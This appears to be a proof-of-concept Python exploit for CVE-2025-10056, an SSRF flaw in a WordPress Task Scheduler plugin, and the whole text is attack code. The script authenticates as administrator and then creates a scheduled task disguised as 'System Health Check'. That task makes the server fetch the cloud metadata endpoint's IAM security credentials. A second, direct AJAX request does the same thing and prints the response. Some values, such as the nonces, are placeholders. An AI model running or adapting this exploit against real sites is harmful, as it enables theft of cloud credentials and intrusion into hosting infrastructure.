CVE-2025-10056

# CVE-2025-10056 - Task Scheduler Plugin SSRF PoC # This PoC demonstrates the SSRF vulnerability in the "Check Website" task feature import requests import json # Configuration TARGET_SITE = "http://target-wordpress-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password123" SSRF_TARGET = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Step 1: Authenticate to WordPress as Administrator session = requests.Session() # Get login page and extract nonce login_page = session.get(f"{TARGET_SITE}/wp-login.php") # Extract authentication cookies and nonce values from the login page # Perform login login_data = { "log": ADMIN_USERNAME, "pwd": ADMIN_PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_SITE}/wp-admin/", "testcookie": "1" } response = session.post(f"{TARGET_SITE}/wp-login.php", data=login_data) # Verify login success if "wp-admin" not in response.url: print("[-] Login failed. Please check credentials.") exit(1) print("[+] Successfully logged in as Administrator") # Step 2: Navigate to Task Scheduler plugin and create a "Check Website" task # The plugin creates a task that triggers an HTTP request to the specified URL task_data = { "action": "task_scheduler_create_task", "task_type": "check_website", # The vulnerable "Check Website" task type "task_url": SSRF_TARGET, # Malicious URL targeting internal service "task_name": "System Health Check", "task_interval": "3600", # Run every hour "_wpnonce": "nonce_value_here" # WordPress nonce for CSRF protection } # Step 3: Submit the task creation request response = session.post( f"{TARGET_SITE}/wp-admin/admin.php?page=task-scheduler", data=task_data ) if response.status_code == 200: print("[+] Task created successfully") print("[+] The server will now make requests to:", SSRF_TARGET) print("[+] Check task logs for SSRF response data") else: print("[-] Failed to create task") # Alternative: Direct exploitation via crafted request # Some versions may allow direct task execution via AJAX ajax_data = { "action": "ts_action_check_website", "url": SSRF_TARGET, "_ajax_nonce": "nonce_value_here" } response = session.post( f"{TARGET_SITE}/wp-admin/admin-ajax.php", data=ajax_data ) print("[+] SSRF Response:", response.text)

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